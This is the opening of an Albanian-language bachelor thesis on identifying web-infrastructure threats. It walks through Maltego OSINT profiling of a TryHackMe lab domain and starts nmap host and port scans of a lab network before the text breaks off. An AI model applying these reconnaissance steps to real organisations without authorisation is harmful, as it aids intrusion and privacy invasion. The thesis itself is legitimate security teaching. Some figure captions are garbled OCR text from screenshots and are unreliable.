UNIVERSITETI “ISA BOLETINI” MITROVICE
FAKULTETI I INXHINIERISE MEKANIKE DHE KOMPJUTERIKE

DEPARTAMENTI: INFORMATIKE INXHINIERIKE

PUNIM DIPLOME

Mentori: Kandidati:
Prof.Ass.dr. Fitim Zeqiri Armend Binaku

Mitrovicg, 2022



UNIVERSITETI “ISA BOLETINI” MITROVICE
FAKULTETI I INXHINIERISE MEKANIKE DHE KOMPJUTERIKE

DEPARTAMENTI: INFORMATIKE INXHINIERIKE

PUNIM DIPLOME

TEMA : Identifikimi i kércénimeve dhe dobésive né infrastrukturén e Ueb-it

duke pérdorur Maltego dhe Burp-Suite

Mentori: Kandidati:

Prof.Ass. dr. Fitim Zeqiri Armend Binaku

Mitrovicg, 2022



UNIVERSITY “ISA BOLETINI” MITROVICE
FACULTY OF MECHANICAL AND COMPUTER ENGINEERING

DEPARTAMENT: ENGINEERING INFORMATICS

BACHELOR THESIS

Topic title : Identifying threats and vulnerabilities in web infrastructure using

Maltego and Burp-Suite

Mentor: Candidate:

Prof.Ass.dr. Fitim Zeqiri Armend Binaku

Mitrovicg, 2022






Falénderim

Ky punim diplome vjen si njé punim pérmbyllés i gjithé asaj gé kur fillova studimet Bachelor né
Universitetin “lsa Boletini” Mitrovicé né Programin Informatiké Inxhinierike. Pér rrjedhojé do
té kufizojé me falénderimin disa nga shumé persona té cilét mé ndihmuan né pérmbushjen e
studimeve té mia, dhe do té doja t'u shpreh mirénjohjen time. Njé falénderim i vecanté shkon pér
Prof. Berat Ujkani, pér ndihmén dhe mbéshtetjen e ¢muar dhe té pa lodhshme, gé mé ofroj
pérgjaté gjithé punés sime dhe pér kontributin e tij né finalizimin e punimit tim té diplomés.
Faleminderit Profesor. Falénderojé profesorét tjeré pér mbéshtetjen qé mé kané dhéné né ¢do
cast. Né fund déshiroj té shpreh mirénjohje té thellé pér familjen time, sé cilés i detyrohem
shumé pér fillimin dhe finalizimin me sukses té kétij udhétimi, sa i véshtir aq edhe i miré.

Faleminderit té gjithéve.



Deklarata e origjinalitetit té autorésisé

Pérmes késaj deklarate uné déshmoj dhe deklarojé se punimi im nuk éshté i botuar asnjéheré mé
paré dhe se i kam respektuar autorésiné e secilit autor duke iu referuar ¢do informacioni gé iu ka

takuar atyre né punimin tim.



Abstrakt

Kohét e fundit ka pasur njé rritje té fugishme té sulmeve kibernetike. Studimet statistikore
tregojné se rreth 4% e trafikut té internetit éshté njé lloj sulmi kibernetiké. Gjetja e kércénimeve
dhe dobésive pérfshijné pérmirésimin e efikasitetit dhe efektivitetit né operacionet e sigurisé né
aspektin e aftésive zbuluese dhe parandaluese. Ky dokument prezanton njé model pér gjetjen e
kércénimeve dhe dobésive kibernetike né infrastrukturé té ueb-it, i cili ua mundéson testuesve
kibernetiké té ngritin siguriné né infrastrukturén e tyre té ueb-it. Rezultatet e testimeve tregojné
se gasja e propozuar mundéson gjetjen e kércénimeve dhe dobésive népérmjet zbulimit dhe
testimit duke pérdorur vegla té ndryshme si Maltego dhe Burp-Suite té cilét déshmuan efikasitet

dhe lehtésuan procesin e gjetjes.
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IP, hoste, Kali Linux, domen, dobési, OSINT, vegél, Proxy, shfrytézim, siguria e ueb-it, testim
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Hyrje

Siguria kibernetike éshté praktiké e mbrojtjes sé kompjuteréve, serveréve, pajisjeve mobile,
sistemeve elektronike, rrjeteve dhe té dhénave nga sulmet me géllim té keq. Njihet gjithashtu si
siguria e teknologjisé sé informacionit ose siguria elektronike e informacionit. Né thelbin e saj,
siguria sulmuese ekziston pér té identifikuar ¢éshtjet pérpara se ato té zbulohen dhe té pérdoren
nga aktoré té jashtém dhe keqdashés. Termi Siguri sulmuese éshté njé term ombrellé gé mbulon
disa aspekte té sigurisé kibernetike dhe éshté cekur né keté punim.

Strategjité sulmuese té sigurisé kibernetike identifikojné paraprakisht dobésité dhe né ményré
aktive tentojné mbrojtjen e rrjetit dhe ofrojné njohuri té vlefshme pér pozicionin e sigurisé
kibernetike té njé organizate. Dy nga gasjet mé efektive té sigurisé kibernetike jané gjetja e

kércénimeve dhe testimi i depértimit.
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1.Mbledhja e informacionit

“Informacioni éshté fuqi”[1], dhe si njé ndér fazat e para pér identifikimin e kércénimeve dhe
dobésive mund té jeté proces kritik pér infrastrukturé té ueb-it i cili né shumicén e rasteve
determinon suksesin e njé testimi. Procesi i mbledhjes sé informacionit pérmban grumbullimin e
cdo lloj té informacionit rreth objektivit té caktuar si nga ana e infrastrukturés sé brendshme té
sigurisé kibernetike apo edhe nga ana e jashtme[1]. Detajet e infrastrukturés pérkatése ndihmojné
né caktimin e vektoréve té sulmeve té cilat mund té pérdoren pér shfrytézimin e ndonjé dobésie
né arkitekturén e sigurisé kibernetike. Mbledhja e informacionit ndryshon nga resurset té cilat njé
objektiv mund té pérmbaj dhe mund té jeté shumé e limituar varésisht nga fushéveprimi i
testimit[2].Njé aspekt tjetér i cili mund té ngrité efikasitetit e testimit éshté dokumentimi. Njé
ndér ményrat me té mira té dokumentimit parget zhvillimin e njé metode sistematike pér té
profilizuar njé objektiv dhe té regjistrohen rezultatet pér faza tjera[3].

1.1 Mbledhja e informacionit né Maltego

Maltego éshté njé vegél e cila pérdoret pér mbledhjen e informacioneve. Kjo vegél bén nxjerrjen
e té dhénave duke pérdorur transformime dhe makina té ndryshme dhe na e lehtéson até duke
béré vizualizimin dhe automatizim e mbledhjes sé informacionit duke shfrytézuar funksione té
ndryshme[4].Si vegél gjen pérdorim té gjere né fusha té ndryshme né vecanti né fusha té siguriseé.
Maltego mundéson mbledhjen e informacion té ndonjé objektivi té caktuar si dhe mund té
mbledhim informacionet tjera relevante me lidhjet pérkatése té ati objektivi té caktuar[5].

e Be+@mERBERES » @& Maltego Community Edition 4.2.12 -0 X
[ investigate  View  Entiies  Collections  Transforms  Machines  Collaboration  Import] Export  Windows [- IS
ear Graj Nurr R, Privacy Mode £
Q
— n Lw
(& Normal V| guick Findin Entity
Fi File: Selecti
Home X
-
[REFRESH]  [UPDATE] (i)
- 77 Hub items total | 4 Hub items installed (305 Transforms)
Q | [NOT INSTALLED] | [INSTALLED]  Sort by: | [NEWEST] | [NAME] v
egories Plans Staff Picks
Clac Oaw
Maltege unit Cyber Security Operations
Malteg rpri: Government
Maltego Pro Trust & Safety
Data Subscription
Free (with AP| key)
Vulnerabilities Threat Intelligence
Web & Image Content
TRANSFORM HUB PARTNERS  77/77 shown v
Standard Transforms ... CaseFile Entities ——_ STIX 2 Utilities Abuse.ch URLhaus AbuselPDB AlienVault OTX (3" ATT&CK - MISP
by Maltego Technologies @ by Paterv by ANSSI & Maltego by Maltego Technologies by Maltego Technologies y Maltego Technologies ) by wmise project
ISP

Free Standard OSINT Transfarms Useful entities for modeling investigations.  Entities and utilty Transfarms for working ~ Identify malicio nd explore Find and report abusive IP addres ses. Trans Query data from MISP. Pivot on MITRE
with STIX 2.1 underlying mal thre ATTECK Intrusion Sets, Techniques,
Blockchain.info (Bitcoin) censys CipherTrace Clearbit Cofense Intelligence s’g Crowdstrike Intel . Crowdstrike ThreatGr...
by Paterva by Maltego Technologies by Maktego Technologies by Christian Heinrich Gy by Cofense ¥/ by crowdstrike Ti1ia1 by CrowdStrike
INTEL i
Kindly use the Tatum Hub Ikem for Visualize vulnerabilities and complex Cryptocurrencyforensics and anti money  Enrich sign-ups, identify prospects and Search and visualize relationships between  This Hub Ikem is being maintained by This Hub Item is maintained by
Blockchain investigations: relationships between digital assets laundering (AML) intelligence. gain customer insights phishing attacks and their payloads. Crowdstrike Crowdstrike
Temporarily Down | Featured |

DeepL Digital Shadows Discogs Music Database DomainTools Enterprise e DomainTools Iris chosec (Data Subscr... ) rarsight DNSDB

by Maltego Technologies dS _ bypigital Shadows “J)) by Maitego Technologies h by DomainTools "\\ by DomainTools Echosec: by Echosec Systems Ltd. LR by Farsight Security, inc
Translate text in 28 languages Query the Digital Shadows cyber threat Visualize your favorite Artists using is vestigate and pivot domains, ident il media, deep and dark web Query the largest DNS Intelligence

inteligence database. Discogs! ore with DomainTools Iris. database, 100+ Billion records

Figura 1 Paragqitja grafike e veglés Maltego
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1.2 Metodologjia e mbledhjes se informacionit

Metodologjia e mbledhjes sé informacionit ndahet né dy lloje: mbledhja aktive dhe pasive e
informacionit. Té dy llojet pérdoren né faza té testimit por mbledhja aktive jep rezultate mé té
sakta dhe me relevante pér testim[6].

Mbledhja pasive e informacionit

Tek mbledhja pasive e informacionit pérfshihen té gjitha metodat e mbledhjes sé
informacionit té cilit gjaté testimit informatat mblidhen pa ndér vepruar drejtpérdrejt me
objektivin[7]. Gjate mbledhjes pasive mund té vérehet se sa shume informacione qé nuk
duhen té jené né dispozicion gjenden né burime té paléve té treta[6]. Teknika pasive
mundéson mbledhjen e informacioneve né ményre té fshehur pa aktivizuar mekanizma
mbrojtés né infrastrukturén e Ueb-it por ka mangési se nganjéheré informacionet jané té
pasakta, informacionet e grumbulluar mund té jené voluminoze dhe informacionet mund
té jené jo relevante me objektivin. Mbledhja pasive ndryshe njihet si inteligjencé me
burim té& hapur (OSINT). Vegla Maltego gjen pérdorim té gjeré dhe ka si funksion
kryesor metodat OSINT ku rreth késaj metode do té diskutohet mé voné né punim.

Mbledhja aktive

Krahasuar nga mbledhja pasive, mbledhja aktive e informacionit pérfshin té gjitha
metodat e mbledhjes se informacionit té cilat behén duke ndér vepruar me objektivin[8].
Tek mbledhja aktive si hapé i paré pérfshihet skanimi pér hoste aktive té objektivit ku
pastaj mund té béhet hartimi i hosteve né até rrjet[9]. Tek mbledhja aktive testimi pa
autorizim té caktuar né objektiv éshté ilegale kurse tek mbledhja pasive testimi bén té
béhet edhe pa autorizim adekuat[10]. Né infrastrukturén e ueb-it mbledhja aktive si rol
kryesor pérfshin gjetjen e porteve aktive, shérbimet pérkatése dhe versionet gé kané ato
porte[11].
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1.3 Mbledhja e inteligjencés me burim té hapur

Mbledhja e inteligjencés me burim té hapur (OSINT) paraget ¢do informacion publik né
dispozicion gé éshté zbuluar, filtruar dhe caktuar pa marr parasysh llojin e informacionit[12]. Né
keté fazé pérfshihet akti i mbledhjes dhe i analizimit té€ t& dhénave né dispozicion publik pér
géllime té mbledhjes sé informacionit té cilat mblidhen né ményre pasive[13]. Me paré OSINT
ishte njé tekniké pak e pérfolur dhe vetém éshté pérdorur nga komunitetet e ndryshme té sigurisé
si: inteligjenca kombétare dhe ajo pér zbatimit té ligjit si policia[13]. Por viteve té fundit éshté
déshmuar efikasiteti i OSINT dhe éshté bére njé aftési themelore brenda sigurisé Kkibernetike
sidomos né aspektin e testim depértimit[13]. Nga aspekti i sigurisé kibernetike OSINT ndihmon
né identifikimin e dobésive dhe kércénimeve potencial duke mbledhur té dhéna racionale dhe
joracionale rreth infrastrukturés té ueb-it. Informacioni me burim t& hapur ndihmon
profesionistét e sigurisé gé té kené prioritet kohén dhe burimet e tyre pér té trajtuar kércénimet
mé té réndésishme aktuale, nga njohja e dobésive té reja qé po shfrytézohen né ményré aktive
deri té aktoret e sulmeve té ndryshme[14]. Né ményré tipike, pér kété lloj pune, njé analist duhet
té gjejé dhe té krahasojé njé numér té té dhénash pér té konfirmuar njé rrezik pérpara se té
ndérmarré ndonjé veprim tjetér.

Disa nga burimet e té dhénave té cilat mund t& mblidhen OSINT pérfshijné:

e Interneti, i cili pérfshin kéto dhe mé shumé: forume, blogje, faget e rrjeteve sociale, faget
e ndarjes sé videove si YouTube.com, wikis, Whois té dhénat e emrave té domenit té
regjistruar, té dhénat meta dhe dokumentet dixhitale, burimet e uebit té errét, té€ dhénat e
vend ndodhjes gjeografike, adresat IP, njerézit, platformat e kérkimit dhe ¢do gjé gé
mund té gjendet né internet[12].

e Mediat tradicionale (p.sh., televizioni, radio, gazetat, librat, revista)[12].

e Revista té specializuara, botime akademike, disertacione, punimet e konferencave,
profilet e kompanive, raportet vjetore, lajmet e kompanisé, profilet e punonjésve dhe
rezymeté

e Fotot dhe videot duke pérfshiré t& dhénat meta[12].

e Informacioni gjeohapésinor (p.sh., hartat dhe imazhet komerciale produkte)[12].

1.3.1 Mjetet pér OSINT

Ka shumé vegla té ndryshme té cilat béjné mbledhjen pasive té informacion ngjashém nga
Maltego, por fokusi primar i kétij punimi do té jeté po ajo vegél. Me poshté jané té listuar disa
vegla té ndryshme nga Maltego pér OSINT ku jané pérshkruar vecorit dhe funksionaliteti I tyre.

The Harvester

Gjuha programuese Python u pérdor pér té krijuar veglén e njohur The Harvester pér nga edhe
mbéshtetet nga sisteme té ndryshme operative. Ky mjet gjendet i para instaluara né sistemin
operativ Kali Linux. Kjo vegél nuk ka GUI dhe prandaj éshté mjet i linjés sé komandés né
terminal té sistemit operativ. Kjo vegél mund té pérdoret pér té marré té dhéna nga disa burime té
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hapura, duke pérfshiré platformat e kérkimit, serverét kryesoré PGP dhe bazén e té dhénave
kompjuterike SHODAN, duke pérfshiré email adresat, nén domenet, hostet, emrat e punonjésve,
portet e hapura dhe versionet e shérbimeve. Aftésia pér té béré DNS rezolucionin e kundért té I1P-
sé dhe zgjerimin e Domenit té Nivelit t¢ Larté (TLD) éshté prezantuar nga zhvilluesit né
versionet mé té fundit[15][16].

—-d DOMAIN

-1 LIMIT,

FILENAME,

-b SOURCE

Figura 2 Prezantimi i veglés TheHarvester né linjén komanduese terminal
Recon-ng

Recon-ng éshté njé vegél e cila posedon vecori té ndryshme pér zbulimin e informacioneve me
burim té hapur, kjo vegél u krijua me géllimin pér t'u dhéné pérdoruesve njé mjedis pér té kryer
kété lloj kérkimi me shpejtési dhe térésisht né lidhje me objektiv e caktuar. Pér nga ndérfagja e
pérdoruesit (Ul) Recon-ng dhe vegla e njohur Metasploit jané mjaft té ngjashme. Né sistemin
operativ Kali Linux kjo vegél gjendet e para instaluar dhe mund té pérdoret pér té ekzekutuar
komandat né ndérfagen e linjés sé komandés terminal. Gjuha e programimit Python éshté
pérdorur pér té krijuar Recon-ng. Ngjashém me Metasploit, programi vjen me modulet e veta,
bazén e té dhénave, ndihmén interaktive dhe sistemin e menysé. Procesin e kérkimit té
informacioneve me burim té hapur Recon-ng e béné duke pérdorur modulet té cilat kryejné rol té
caktuar, njé shembull i modulit t&¢ Recon-ng éshté dns-lookup module e cila mbledh informata
rreth sistemit t€ emrave té domenit rreth ati objektivi. Recon-ng mund té pérdoré njé numér té
ndryshém platformash té kérkimit me burim té hapur, pér té kryer procedurat e mbledhjes sé
informacionit[17][18][19][20].
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Figura 3 Ndérfagja e pérdoruesit sé veglés Recon-ng
SpiderFoot

Njé vegél tjetér e njohur pér OSINT éshté Spiderfoot. Si vegél falas dhe me burim té hapur ka
mjaft pérdorim né proceset e testim depértimit. Programuar né Python dhe i pérkrahur né sisteme
té ndryshme operative, kjo vegél gjendet i para instaluar né Kali Linux. Kjo vegél pérdor njé
numér té madh modulesh pér t€ mbledhur té dhéna né ményre aktive ose pasive dhe aftésité e
skanimit aktiv dhe pasiv té veglés Spiderfoot e lejojné pér t€ marré informacion mbi IP adresat,
emrat e domeneve, adresat e postés elektronike, emrat dhe mé shumé, Spiderfoot kérkon mé
shumé se 100 burime té hapura té dhénave (OSINT). Spiderfoot mundéson gé derisa béhet
mbledhja e informacionit rreth objektivit t&¢ mblidhen té€ dhéna pér té gjitha entitetet dhe ményrén
se si ato lidhen me njéri-tjetrin[21][22].
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$ spiderfoot -h
P:port] [-m modl,mod2, ... M C scanID] [-s TARGET] [-t typel,type2,
-1 [x1 [-g] [-Vv] [ ax—threa MAX_THREADS]

SpiderFoot 4.@2.0: Open Source Intelligence Automation.

optional arguments:
—h, L show this help message and exit

-1
, ——correlate

Lt typel,type2, .

an ted automatically).
{all, fe tprint ,inwv

S LEMNGTH M i =3 o i - aul L data is shown.
DELIMITER 'l

d with -t.
typel,type2,
< y Cconsume your target,

—wersion
—-max—threads MAX_THREADS

Figura 4 Ndérfagja e pérdoruesit sé veglés Spiderfoot

1.3.2 Sfidat e mbledhjes sé inteligjencés me burim té hapur

Pavarésisht nga avantazhet e réndésishme gé ofron metodologjia e OSINT, ekzistojné gjithashtu
disavantazhet té réndésishme gé lidhen me mbledhjen e inteligjencés me burim té hapur.
Informacionet e mbledhura nga OSINT nuk jané ende gati pér pérdorim direkt pa pasur analiza
té detajuar té atyre informacioneve. Pér té dalluar midis informacionit té besueshém,
informacionit té konfirmuar dhe lajmeve legjitime nga informacionet e rrem, mashtruese, apo
edhe té gabuara, duhet shumé pérpjekje analitike nga njerézit. Prandaj OSINT duhet té
verifikohet. Mbingarkesa e mundshme e informacionit éshté njé nga céshtjet kryesore té cilat
paragesin njé sfidé né OSINT. Njé formé e re e kércénimeve kibernetike éshté shfaqur me
ardhjen e lajmeve té rreme. Ky material i rremé ka pak ose aspak saktési, por paragitet né njé
paketim me pamje legjitime[23][24][25].Pér té tejkaluar disa nga kéto sfida pérdoren mjete si
Maltego edhe shumé té tjera pér verifikimin dhe analizimin e informacionit té marré.

1.4 Mbledhja e inteligjencés me burim té hapur né infrastrukturén e Ueb-it

Pér té kuptuar metodologjiné e OSINT se si pérdoret né fazat e testimit, né kété punim do behet
mbledhja e inteligjencés me burim té hapur né makinén e quajtur “WebOSINT” té platformés
tryhackme. Kjo ka pér gellim simulimin e kryerjes sé kérkimit té inteligjencés me burim té hapur
né njé Ueb fage internet. Metodat e pérdorura né simulim mund té pérdoren edhe né Ueb faqge
reale té ndonjé biznesi.

Testimi

Roli kryesor i kétij testimi éshté gjetja e sa mé shumé informacioneve gé éshté e mundur pér
fagen e internetit RepublicofKoffee.com. Kjo fage nuk gjendet né internet publik, por duhet té
béhet lidhja né rrjetin e késaj fage duke pérdorur VPN (Virtual private Network).
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Pér testim do té pérdoret sistemi operativ Kali Linux kurse pér mbledhje té informacionit do té
pérdoret vegla Maltego. Kjo pjesé nuk do té fokusohet rreth pérdorimit té detajuar té veglés
Maltego.

Hapi i paré i mbledhjes sé informacionit mund té jeté testimi se nga emri i dhéné
(RepublicofKoffee.com) a ekziston ueb fagja. Nése tentojmé né Kali Linux te hapim ueb fagen
shohim se fagja nuk éshté aktive dhe ueb fagja nuk ekziston. Kjo nuk do té thoté se éshté fundi i
rrugés. Ne ende mundemi me OSINT té lidhim pikat dhe té gjejmé informacione té dobishme pér
organizata té tilla. Vetém pér shkak se asgjé nuk shfaget kur vizitojmé ueb fagen
'RepublicOfKoffee.com’, nuk do té thoté se nuk mund té mblidhen informacionet me burim té
hapur rreth domenit. Pér kété pérdorim “whois lookup” ku Ky funksion gjendet brenda Maltego.

Sé pari e hapim veglén Maltego dhe krijojmé njé grafik té ri.

Pastaj shohim se né anén e majté té dritares gjendet shiriti me emér paleta e entitetit.

6!:#?&‘-«5« - &
[ investioate  View  Entties  Collectons  Transforms  Machines  Collaboration Import| Expert

Q) &l Al
Findin | Enmy

(& Normal v/

Figura 5 Paragqitja e hijezuar me ngjyreé té kuge té shiritit palét e entitetit

Kétu shohim entitetet e ndryshme gé Maltego i ka né dispozicion. Sipas nevojés té testuesit kétu
merren entitetet sepse si¢ po shihet né figuré Maltego ofron entitete té ndryshme, né kété rast ne
e pérzgjedhim entitetin domen pasi gé na intereson té marrim informacione rreth domenit té ueb
faqges. Pér té vazhduar né proces klikojmé né ikonén e domenit dhe e zvarritemi até né grafikun
bosh. Mé tutje behet vendosja e emrin té domenit i cili nése klikojmé né ikonén e vendosur né
grafikun e veglés shohim emrin e domenit té paracaktuar nga Maltego i cili éshté “paterva.com”
ku ky domen paraget fagen zyrtare té veglés Maltego nése klikojmé dy here né emrin e domenit
na u mundésohet nga Maltego té modifikojmé emrin e domeni né RepublicOfKoffee.com.
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&

[RepublicOfkoffee.com|

Figura 6 Vendosja e emrit té domenit né veglén Maltego

Pasi kemi vendosur emrin e domenit zakonisht na intereson cili &shté emri i kompanisé me té
cilén éshté regjistruar domeni?. Pér té gjetur kété Maltego na mundéson té béjmé transformime.
Transformimet jané pjesé kodi gé marrin njé pjesé té informacionit (né formén e njé entiteti) si
hyrje, dhe mé pas kthejné informacionin pérkatés né formén e mé shumé entiteteve si njé dalje.
Pér ti shfaqur transformimet klikojmé me tast té djathté té miut mbi ikoné dhe shohim
transformimet té cilat i posedon Maltego pasi gé ekziston mundésia té shtohen transformimet nga
pale té treta ku do té diskutohet sesi béhet implementimi mé voné né punim.

Bes@mERUBS » @ Maltego Community Edition 4.3.0
h . -

Qe
Normal V' | Guick Find in Ents

™

EXToBXE=0C

Figura 7 Transformimet né Maltego
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Pas shfagjes se transformimeve shohim se jané té kategorizuar si dhe kané role té ndryshme.
Ekziston mundésia gé té ekzekutohen té gjitha transformimet, té gjitha né kategori té caktuar apo
transformim individual. Né rastin pérkatés na duhen informacionet rreth domenit dhe
transformimet ndryshojné nga entitetit né entitet. Pér nga ana e transformimeve té cilat gjenden
tek njé entitet éshté e mundur se nuk shfagen né entitetin e domenit. Secili entitet i ka tiparet e
veta dhe mund ti keté transformimet unike. Pasi kemi pérzgjedhur transformimin, keté rast e
kemi pérzgjedhur standard transformim “CE” pér domene ku shfagen informatat relevante né
formé té entiteteve.

e Be@mERBS » @ Maltego Community Edition 4.3.0
M (ovestigate  View  Entwes  Collsctions  Transforms  Machines  Colaboraton  import|Export  Windows
osh -

Figura 8 Rezultatet e mbledhjes sé informacionit pérkatés me transformime

Né rezultat shohim pérgjigjen e pyetjes sé hershme se cili ishte emri i kompanisé me té cilén
éshté regjistruar domeni. Kompania e cila éshté regjistruar domeni quhet “NAMECHAP INC”.

New Graph (1) X

®

RepublicOfKoffee.com

Vv

= il Bl =

slag] gateway.republicofkoffee.com DANMECHIEAING extranet.republicofkoffee.com smtp.republicofkoffee.com

L= P cee see

Find: Entities Vv All v Find | [ Properties [ | Notes [ ] Displayinfo /] Zoom X

Figura 9 Hijezuar me ngjyré té kuge éshté paragitur emri i kompanisé né té cilén éshté regjistruar domeni
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Ne mund té Shohim se né rezultat ka edhe entitete tjera té cilat mund té jené té dobishme pér
identifikimin e kércénimeve dhe dobésive né infrastrukturé, prandaj njé analizé dhe verifikim i té
dhénave éshté i réndésishém pér njé testim te suksesshém. Njé gjé tjetér mjaft e réndésishme gé
paraget njé pjese té réndésishme té procesit OSINT éshté gjetja e numrave té telefonit relevante
me domenin e caktuar dhe pér keté vegla Maltego ofron transformimin pérkatés. Pér kérkim mé
efikas té transformimeve mund té kérkojmé né Maltego duke shénuar rezultatin té cilin tentojmé
té arrijmé né keté rast numrat e telefonit (Phone numbers). Rezultati nga transformimi éshté se
jané gjetur 3 numra relevant né domenin e caktuar si¢ jané: “+1 985 401 45457, “+354 421 2434~
dhe “+1 661 310 2107”.

New Graph (1) X

O

A23

,..
o
S

-
=

RepublicOfKoffee.com

~
==
*

c

View
X

+1 985 401 4545 +354 421 2434 +1 661 310 2107

Figura 10 Paragqitja grafike e rezultateve té numrave té telefonit relevant me domenin né Maltego

Njé gjé tjetér po ashtu mjaft e réndésishme qé paraget njé pjese té réndésishme té procesit
OSINT é&shté gjetja e emrave te serverit. Pér keté pérdorim transformimin “domain to name
server” dhe si¢ shihet mé poshté jané shfaqur 30 emra té serverit relevant me objektivin. Disa
nga to jané: apollo.republicofkoffee.com, asterix.republicofkoffee.com, blog.republicofkoffee.com etj.
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Figura 11 Paragitja grafike e rezultateve t& emrave té serverit relevant me domenin né Maltego

Pasi tashmé kemi njohuri se si behén transformimet njé nga njé mund té fillojmé té bémé
grumbullimin e té dhénave té ndryshme dhe mund ti mblidhemi informacionet tjera relevante né
OSINT si: lokacioni gjeografiké, email adresat, relacionet me kompani, rrjetet sociale si dhe
arkivat e ekzistencés sé ueb fages né kohét e me hershme. Pér kéto lloj informacionesh mund té
pérdorim kéto transformime: “email addres from domain”, “standard tranformation from domain”
si dhe transformimin nga pala e treté “wayback machine” ky transformim mund t& instalohet né
meny kryesore té Maltego. Rezultatet e marré nga Maltego jané mjaft interesanté dhe jané
paragitur né figurén 12.
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Figura 12 Rezultatet e pérdorimit té transformimeve: “Email addres from domain”, “standard tranformation
from domain” si dhe transformimin nga pala e treté “wayback machine”.

Né rezultat mund té vérejmé dy kompani, disa email adresa, dhe disa platforma té rrjeteve
sociale por né vecanti vérehet rezultati i transformimit “wayback machine “ ku sipas rezultatit
shihet se ueb fagja ka ekzistuar nga viti 2015 deri tek viti 2016. Pér té vértetuar keté rezultat
mund té kérkojmé ueb fagen duke vendosur domenin e ueb fages né platformén Archive.org kjo
platformé mban arkivat e ueb fageve té ndryshme edhe pas mbylljes sé tyre. Gjaté testimit né
platformén “Archive.org” shohim se pérmban ueb fagen e domenit objektiv i cili ka funksionuar
né vitin 2015 dhe po ashtu mund té gasemi né até domen.
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Figura 13 Arkivat e domenit sé Ueb fages “RepublicOfKoffee.com” né platformén Archive.org

Nga ky rezultat mund té shohim se edhe pse nuk ekziston tashmé ky domen nuk do té thoté se
nuk mund té mbledhim informacione rreth ati objektivi dhe tashmé pasi kemi gasje né ueb fagen
mund té zgjerohemi né procesin e OSINT dhe mund té marrim mé shumé informacione rreth
objektivit toné.

Shohim gjate hapjes se ueb fages ekzistojné disa blogje gé gjate leximit té tyre mund té& marrim
me shume informacione rreth objektivit. Né ueb fage vérejmé se kéto blogje jané shkruar nga njé
autore me emrin Steve. Kéto shénime i ka béré nga qyteti Gwangju nga Koreja jugore. Ky
informacion mund té merret duke bére transformimin e entitetit pér gjetje te lokacionit nga
domeni né GPS. Ne konsolidojmé se edhe pse ueb fagja joné e synuar nuk ka gené aktive pér njé
kohé, ne deri mé tani kemi marré disa informacione té dobishme né testim.

1.5 Mbledhja aktive e informacionit né infrastrukturén e Ueb-it

Ngjashém me mbledhjen pasive té informacionit pér té kuptuar mbledhjen aktive se si mundé té
pérdoret né fazat e testimit, né vazhdim té punimit do té béhet mbledhja aktive e informacionit
né makinén e quajtur “Blue* t& platformés tryhackme. Kjo faze do t€ jet€ mé gjithépérfshirése
dhe pér té arritur géllimin e testimit do té pérdorim veglén Nmap. Rezultatet e fituar nga
mbledhja aktive mund té vendosen si entitete né Maltego. Por pérparése té behet testimi sé pari
do diskutohet rreth veglés Nmap.
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Nmap

Ndryshe Nmap do thoté network mapper (hartues i rrjetit) dhe kjo vegél daton nga vitit 1997. Si
njé ndér veglat mé té popullarizuar dhe me burim té hapur paraget njé vegél té réndésishme ku
mund té pérdoret pér té zbuluar, pér auditim, pér skanim dhe plot gjera té tjera si problemet e
sistemeve té rrjetit. Zakonisht tek testuesit e sigurisé kibernetike gjen pérdorim pér zbulimin e
porteve aktive dhe gjetjen e shérbimeve gé pérmbajné ato porte. Veglés Nmap mé vone ju éshté
shtuar mundésia e skanimit pér dobési né sisteme té ndryshme, por fokusi i késaj pjese té punimit
do jeté vetém gjetja e hosteve aktive, portet aktive dhe sistemi operativ i objektivit té pérzgjedhur.

Testimi

Pér kété testim do té fokusohemi né gjetjen e té gjitha hosteve aktive, numrin e porteve , dhe
sistemet operative né té cilén kjo makine vepron. Vérehet se pér keté testim duhet té béhet
veprimi me objektiv dhe keté Nmap e béné duke dérguar paketa té ndryshme. Sé pari duhet té
gjenden té gjitha hostet e adresave IP né rangun e dhéne nga platforma né rastin tone IP adresa
éshté 10.10.83.0/24. Vérehet se né IP adresé nuk éshté specifikuar njé IP por rangu 0/24 gé do
thoté O deri né 255 hoste mund té jené. Pér keté Nmap ofron mundésin e skanimit népér vargje si
0/24 ose specifikimin 0 deri né 255. Komanda pér gjetjen e hosteve aktive né Nmap éshté —sn ,
dhe pér té filluar testimin thjesht specifikojmé veglén né linjén e komandés sé sistemit operativ
Kali Linux dhe pastaj vendosim komandén né keté rast —sn dhe vargun apo IP adresén
individuale. Komanda do té dukej késhtu:

nmap —sn 10.10.66.0/24 ose nmap —sn 10.10.66.0-255
dhe pér IP individuale:
nmap —sn 10.10.66.1

Pér testimin toné nuk e dimé se cilat hoste ekzistojné dhe jané aktive prandaj pérdorim vargjet
0/24 ose 0-255. Nmap né keté rast dérgon paketa pérkatése pér ti dalluar hostet aktive dhe jo
aktive. Né rezultat shohim se gjithsej jané 7 IP adresa aktive. Vegla Nmap po ashtu ofron
mundésin e skanimit té po atyre 7 hosteve aktive duke e shénuar secilén IP adrés apo nése jané
né vargje té njéjta si né rastin e testimit tone atéheré mjafton ndarja me “ ,” ndaj secilit host.
Paragitja e atyre IP adresave né Nmap pér ri testimin me komandén pér gjetjen e hosteve do té
dukej késhtu si né figurén 14.

:~% nmap -sn 10.10.66/65,148,170,177,190,206, 2431

Figura 14 Hijezuar me ngjyre té kuge jané IP adresat e ndaré pér testim né veglén Nmap

Pasi kemi konfirmuar se ato hoste jané aktive mundemi té vazhdojmé mé tutje tek skanimi i
porteve aktive. Pér gjetjen e porteve vegla Nmap ofron mundési dhe ményra té ndryshme té
gjetjes se porteve aktive por ne do té pérdorimin komandén “ -p ““. Pérve¢ komandés ne duhemi
té specifikojmé rangun e porteve té cilat déshirojmé ti skanojmé pér keté mundemi té pérdorim
komandén “—p- pér té skanuar plot 65,535 portet ekzistuese ose mundemi té specifikojmé
numrin e sakte duke pérdorur komandén “-p “ dhe numrin e porteve té cilat déshirojmé té
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skanojmé si shembull mund té jete porta: 23, 80 dhe 443. Po ashtu mundemi ti specifikojmé
vargun e numrave si nga numri fillestar O deri né 1000.T€é gjitha komandat e larte pérmendura
duken si né figurén 15.

:~% nmap -p- 10.10.66 65,148,170,177,190,206,243

:~$ nmap -p ©-1000 1(.10.66.65,148,170,177,190,206,243

:~$ nmap -p 23,80,443] 10.10.66.65,148,170,177,190,206,243

Figura 15 Hijezuar me ngjyre té kuge komandat e rangut pér skanim té porteve né Nmap

Pér testimi do pérdorim rangun nga 1 deri ne 1000 pasi né keté pjesé gjenden portet mé té
pérdorura, pér testimi te detajuar rekomandohet té ngritét numri i rangut ose te béhet skanim i té
